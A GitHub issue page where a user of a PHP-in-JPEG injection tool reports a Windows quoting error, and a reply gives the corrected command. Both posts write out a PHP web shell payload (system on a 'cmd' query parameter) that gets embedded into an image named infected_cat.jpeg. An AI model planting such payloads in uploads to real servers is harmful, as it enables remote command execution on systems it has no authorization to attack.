Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The filename, directory name, or volume label syntax is incorrect. #10

Open
Himel-Sarkar opened this issue Aug 9, 2021 · 1 comment

Comments

@Himel-Sarkar
Copy link

https://github.com/Himel-Sarkar/issuissues-/blob/main/php2jpg_issues.PNG?raw=true

==================================== issue ============================
C:\Users\Himel\AppData\Local\Temp\a\php2jpg>dir/b
2.jpeg
cat.jpg
gd-jpeg.py
php-jpeg-injector-master.zip

C:\Users\Himel\AppData\Local\Temp\a\php2jpg>py gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
The filename, directory name, or volume label syntax is incorrect.

C:\Users\Himel\AppData\Local\Temp\a\php2jpg>python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
The filename, directory name, or volume label syntax is incorrect.

@brmoda
Copy link

brmoda commented Aug 9, 2021

replace : ( ' ) with ( " )
python3 gd-jpeg.py cat.jpeg "<?php system($_GET["cmd"]);?>" infected_cat.jpeg

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants